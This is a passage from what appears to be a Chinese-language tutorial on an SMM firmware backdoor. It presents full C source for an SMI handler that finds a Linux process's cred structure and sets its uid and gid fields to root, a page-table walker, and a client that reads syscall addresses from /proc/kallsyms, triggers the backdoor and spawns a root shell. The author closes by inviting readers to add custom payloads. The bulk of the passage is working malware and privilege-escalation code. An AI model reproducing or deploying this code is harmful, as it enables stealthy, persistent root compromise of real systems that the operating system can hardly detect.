UINT64 Addr = 0, GsBase = 0;
int OffsetTaskStruct = 0, OffsetCred = 0;
unsigned char OffsetCredVal = 0;

if (Arg1 == 0)
{
DbgMsg(__FILE__, __LINE__, "ERROR: Arg1 must be specified\r\n");

Status = EFI_INVALID_PARAMETER;
goto _end;
}

// 检查是否启用长模式分页
if (!Check_IA_32e(ControlRegs))
{
DbgMsg(__FILE__, __LINE__, "ERROR: IA-32e paging is not enabled\r\n");

Status = EFI_INVALID_PARAMETER;
goto _end;
}

DbgMsg(__FILE__, __LINE__, "Syscall address is 0x%llx\r\n", Arg1);

// 获取系统调用的物理地址
if ((Status = VirtualToPhysical(Arg1, &Addr, ControlRegs->Cr3)) == EFI_SUCCESS)
{
/*
用户模式程序(smm_call)在1-st参数中传递sys_getuid/euid/gid/egid函数地址,
我们需要分析它的代码并得到task_struct、cred和uid/euid/gid/egid字段的偏移量。
然后只需要设置字段值为0(root)

sys_getuid code as example:

mov %gs:0xc700, %rax ; get task_struct
mov 0x388(%rax), %rax ; get task_struct->cred
mov 0x4(%rax), %eax ; get desired value from cred
retq
*/
if (memcmp((void *)(Addr + 0x00), "\x65\x48\x8b\x04\x25", 5) ||
memcmp((void *)(Addr + 0x09), "\x48\x8b\x80", 3) ||
memcmp((void *)(Addr + 0x10), "\x8b\x40", 2))
{
DbgMsg(__FILE__, __LINE__, "ERROR: Unexpected binary code\r\n");

Status = EFI_INVALID_PARAMETER;
goto _end;
}

// 获取字段偏移
OffsetCredVal = *(unsigned char *)(Addr + 0x12);
OffsetTaskStruct = *(int *)(Addr + 0x05);
OffsetCred = *(int *)(Addr + 0x0c);

DbgMsg(
__FILE__, __LINE__,
"task_struct offset: 0x%x, cred offset: 0x%x, cred value offset: 0x%x\r\n",
OffsetTaskStruct, OffsetCred, OffsetCredVal
);
}
else
{
DbgMsg(
__FILE__, __LINE__,
"ERROR: Unable to resolve physical address for 0x%llx\r\n", Arg1
);

goto _end;
}

// 获取GS段基址
GsBase = __readmsr(IA32_KERNEL_GS_BASE);

DbgMsg(__FILE__, __LINE__, "GS base is 0x%llx\r\n", GsBase);

// 检查GS基址是否指向用户模式
if ((GsBase >> 63) == 0)
{
DbgMsg(__FILE__, __LINE__, "ERROR: Bad GS base\r\n");

Status = EFI_INVALID_PARAMETER;
goto _end;
}

// 获取GS基址的物理地址
if ((Status = VirtualToPhysical(GsBase, &Addr, ControlRegs->Cr3)) == EFI_SUCCESS)
{
UINT64 TaskStruct = *(UINT64 *)(Addr + OffsetTaskStruct);

DbgMsg(__FILE__, __LINE__, "task_struct is at 0x%llx\r\n", TaskStruct);

// 获取task_struct结构体的物理地址
if ((Status = VirtualToPhysical(TaskStruct, &Addr, ControlRegs->Cr3)) == EFI_SUCCESS)
{
UINT64 Cred = *(UINT64 *)(Addr + OffsetCred);

DbgMsg(__FILE__, __LINE__, "cred is at 0x%llx\r\n", Cred);

// 获取task_struct->cred结构体的物理地址
if ((Status = VirtualToPhysical(Cred, &Addr, ControlRegs->Cr3)) == EFI_SUCCESS)
{
int *CredVal = (int *)(Addr + OffsetCredVal);

DbgMsg(
__FILE__, __LINE__,
"Current cred value is %d (setting to 0)\r\n", *CredVal
);

// 设置root权限
*CredVal = 0;
}
else
{
DbgMsg(
__FILE__, __LINE__,
"ERROR: Unable to resolve physical address for 0x%llx\r\n", Cred
);
}
}
else
{
DbgMsg(
__FILE__, __LINE__,
"ERROR: Unable to resolve physical address for 0x%llx\r\n", TaskStruct
);
}
}
else
{
DbgMsg(
__FILE__, __LINE__,
"ERROR: Unable to resolve physical address for 0x%llx\r\n", GsBase
);
}
}
}

_end:

return Status;
}

根据英特尔手册实现虚拟地址到物理地址转换的IA-32长模式:

#define PFN_TO_PAGE(_val_) ((_val_) << PAGE_SHIFT)
#define PAGE_TO_PFN(_val_) ((_val_) >> PAGE_SHIFT)

// 从CR3寄存器值中获取MPL4的地址
#define PML4_ADDRESS(_val_) ((_val_) & 0xfffffffffffff000)

// 从虚拟地址获取PML4索引
#define PML4_INDEX(_addr_) (((_addr_) >> 39) & 0x1ff)
#define PDPT_INDEX(_addr_) (((_addr_) >> 30) & 0x1ff)
#define PDE_INDEX(_addr_) (((_addr_) >> 21) & 0x1ff)
#define PTE_INDEX(_addr_) (((_addr_) >> 12) & 0x1ff)

#define PAGE_OFFSET_4K(_addr_) ((_addr_) & 0xfff)
#define PAGE_OFFSET_2M(_addr_) ((_addr_) & 0x1fffff)

// PDPTE 和 PDE的 PS flag
#define PDPTE_PDE_PS 0x80

#define INTERLOCKED_GET(_addr_) InterlockedCompareExchange64((UINT64 *)(_addr_), 0, 0)

BOOLEAN Check_IA_32e(PCONTROL_REGS ControlRegs)
{
UINT64 Efer = __readmsr(IA32_EFER);

/*
检查SMI执行时是否启用了IA-32长模式内存转换机制。
*/
if (!(ControlRegs->Cr0 & CR0_PG))
{
DbgMsg(__FILE__, __LINE__, "ERROR: CR0.PG is not set\r\n");
return FALSE;
}

if (!(ControlRegs->Cr4 & CR4_PAE))
{
DbgMsg(__FILE__, __LINE__, "ERROR: CR4.PAE is not set\r\n");
return FALSE;
}

if (!(Efer & IA32_EFER_LME))
{
DbgMsg(__FILE__, __LINE__, "ERROR: IA32_EFER.LME is not set\r\n");
return FALSE;
}

return TRUE;
}
//--------------------------------------------------------------------------------------
EFI_STATUS VirtualToPhysical(UINT64 Addr, UINT64 *Ret, UINT64 Cr3)
{
UINT64 PhysAddr = 0;
EFI_STATUS Status = EFI_INVALID_PARAMETER;

X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PML4Entry;

DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): CR3 is 0x%llx, VA is 0x%llx\r\n", Cr3, Addr);

// 获取给定虚拟地址的PML4表入口点
PML4Entry.Uint64 = INTERLOCKED_GET(PML4_ADDRESS(Cr3) + PML4_INDEX(Addr) * sizeof(UINT64));

DbgMsgMem(
__FILE__, __LINE__, "PML4E is at 0x%llx[0x%llx]: 0x%llx\r\n",
PML4_ADDRESS(Cr3), PML4_INDEX(Addr), PML4Entry.Uint64
);

// 检查该入口点是否存在
if (PML4Entry.Bits.Present)
{
X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PDPTEntry;

// 获取给定虚拟地址的PDPTE
PDPTEntry.Uint64 = INTERLOCKED_GET(PFN_TO_PAGE(PML4Entry.Bits.PageTableBaseAddress) +
PDPT_INDEX(Addr) * sizeof(UINT64));

DbgMsg(
__FILE__, __LINE__, "PDPTE is at 0x%llx[0x%llx]: 0x%llx\r\n",
PFN_TO_PAGE(PML4Entry.Bits.PageTableBaseAddress),
PDPT_INDEX(Addr), PDPTEntry.Uint64
);

// 检查该入口点是否存在
if (PDPTEntry.Bits.Present)
{
// 检查页大小flag
if ((PDPTEntry.Uint64 & PDPTE_PDE_PS) == 0)
{
X64_PAGE_DIRECTORY_ENTRY_4K PDEntry;

// 获取小于1Gbyte页的给定虚拟地址的PDE
PDEntry.Uint64 = INTERLOCKED_GET(PFN_TO_PAGE(PDPTEntry.Bits.PageTableBaseAddress) +
PDE_INDEX(Addr) * sizeof(UINT64));

DbgMsg(
__FILE__, __LINE__, "PDE is at 0x%llx[0x%llx]: 0x%llx\r\n",
PFN_TO_PAGE(PDPTEntry.Bits.PageTableBaseAddress), PDE_INDEX(Addr),
PDEntry.Uint64
);

// 检查该入口点是否存在
if (PDEntry.Bits.Present)
{
// 检查页大小flag
if ((PDEntry.Uint64 & PDPTE_PDE_PS) == 0)
{
X64_PAGE_TABLE_ENTRY_4K PTEntry;

// 获取4KB页的给定虚拟地址的PDE
PTEntry.Uint64 = INTERLOCKED_GET(PFN_TO_PAGE(PDEntry.Bits.PageTableBaseAddress) +
PTE_INDEX(Addr) * sizeof(UINT64));

DbgMsg(
__FILE__, __LINE__, "PTE is at 0x%llx[0x%llx]: 0x%llx\r\n",
PFN_TO_PAGE(PDEntry.Bits.PageTableBaseAddress), PTE_INDEX(Addr),
PTEntry.Uint64
);

// 检查该入口点是否存在
if (PTEntry.Bits.Present)
{
// 获取所需的物理地址
PhysAddr = PFN_TO_PAGE(PTEntry.Bits.PageTableBaseAddress) +
PAGE_OFFSET_4K(Addr);

Status = EFI_SUCCESS;
}
else
{
DbgMsg(
__FILE__, __LINE__,
"ERROR: PTE for 0x%llx is not present\r\n", Addr
);
}
}
else
{
// 获取2MB页所需的物理地址
PhysAddr = PFN_TO_PAGE(PDEntry.Bits.PageTableBaseAddress) +
PAGE_OFFSET_2M(Addr);

Status = EFI_SUCCESS;
}
}
else
{
DbgMsg(
__FILE__, __LINE__,
"ERROR: PDE for 0x%llx is not present\r\n", Addr
);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ERROR: 1Gbyte page\r\n");
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ERROR: PDPTE for 0x%llx is not present\r\n", Addr);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ERROR: PML4E for 0x%llx is not present\r\n", Addr);
}

if (Status == EFI_SUCCESS)
{
DbgMsg(__FILE__, __LINE__, "Physical address of 0x%llx is 0x%llx\r\n", Addr, PhysAddr);

if (Ret)
{
// 返回已解析的物理地址给调用者
*Ret = PhysAddr;
}
}

return Status;
}

下面是更新后的客户端代码,它从/proc/kallsyms伪文件中获取所需的系统调用函数地址并使用smm_call()以提权命令number作为参数调用后门:

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <string.h>
#include <inttypes.h>
#include <unistd.h>

#define MAX_COMMAND_LEN 0x200

// backdoor command number
#define BACKDOOR_PRIVESC 8

// 在汇编中实现的外部接口函数
extern int smm_call(long code, unsigned long long arg1, unsigned long long arg2);

int main(int argc, char *argv[])
{
int ret = 0;
cpu_set_t mask;

CPU_ZERO(&mask);
CPU_SET(0, &mask);

ret = sched_setaffinity(0, sizeof(mask), &mask);
if (ret != 0)
{
printf("sched_setaffinity() ERROR %d\n", errno);
return errno;
}

if (argc >= 2 && !strcmp(argv[1], "--privesc"))
{
if (argc >= 3)
{
int i = 0;

for (i = 2; i < argc; i += 2)
{
unsigned long long addr = 0;
char *func = argv[i + 1];

// 解析通过cat+grep它自身传递给程序的系统调用地址
if ((addr = strtoull(argv[i], NULL, 16)) == 0 && errno == EINVAL)
{
printf("strtoull() ERROR %d\n", errno);
return errno;
}

if (addr == 0)
{
printf("ERROR: Unable to resolve %s() address\n", func);
return EINVAL;
}

printf("%s() address is 0x%llx...\n", func, addr);

// 调用目标系统调用代码,以确保它没有被内核替换掉
getuid();
getgid();
geteuid();
getegid();

// 请求后门将cred字段值设置为0
ret = smm_call(BACKDOOR_PRIVESC, addr, 0);

if (ret != 0)
{
printf("ERROR: Backdoor returns 0x%x\n", ret);
return ret;
}
}

// 检查root权限
if (getuid() == 0 && geteuid() == 0 &&
getgid() == 0 && getegid() == 0)
{
printf("SUCCESS\n");

// 运行命令行
execl("/bin/sh", "sh", NULL);
}
else
{
printf("FAILS\n");
return EINVAL;
}
}
else
{
int i = 0, code = 0;
char command[MAX_COMMAND_LEN];

/*
在/proc/kallsyms中找到所需的系统调用地址,
并通过命令行参数将它们传递给相同的程序。
*/

char *functions[] = { "sys_getuid", "sys_geteuid",
"sys_getgid", "sys_getegid", NULL };

printf("Getting root...\n");

sprintf(command, "%s --privesc ", argv[0]);

for (i = 0; functions[i]; i++)
{
char *func = functions[i];

sprintf(
command + strlen(command),
"0x`cat /proc/kallsyms | grep '%s$' | awk '{print $1}'` %s ", func, func
);
}

code = system(command);
if (code != 0)
{
printf("ERROR: Command \"%s\" returns 0x%x\n", command, code);
return code;
}
}
}
else
{
// ... skipped ...
}

return ret;
}

现在,当我们编译这个后门客户端并使用–privesc参数运行时,它会弹出root权限shell。在3.2.60内核的Debian Wheezy上的提权示例(在顶部控制台窗口你可以看到 从后门通过COM端口接收到的 SMI派遣的调试消息):

image-20230809161852270

总结

很难在操作系统中检测到这样的SMM后门,SMRAM是不可访问的,而这一切都是可以用简单的方式完成 —— 检查硬件配置是否启用了固件通常不使用的可疑SPI源(如APIC timer等)。然而,这是另一个工具和另一篇文章的好主题。 在现实世界中有机会遇到任何SMM恶意软件吗?嗯,至少可能性不是0,例如NSA泄露的文件中提到了mentions the SOUFFLETROUGH project —— 植入Juniper防火墙的BIOS,利用SMM的优势在操作系统中隐藏它的代码。 至于我的SMM后门的改进——实现网络流量拦截和注入绝对是一件有趣的事情。我相信, 使用I/O指令重启CPU功能 实现hook网卡驱动执行流并不难——我计划在未来的某一天深入研究这个方向。 故事结束。下载源代码,在你自己的硬件上测试后门,添加一些自定义的payload,享受乐趣并告诉大家你的发现吧:)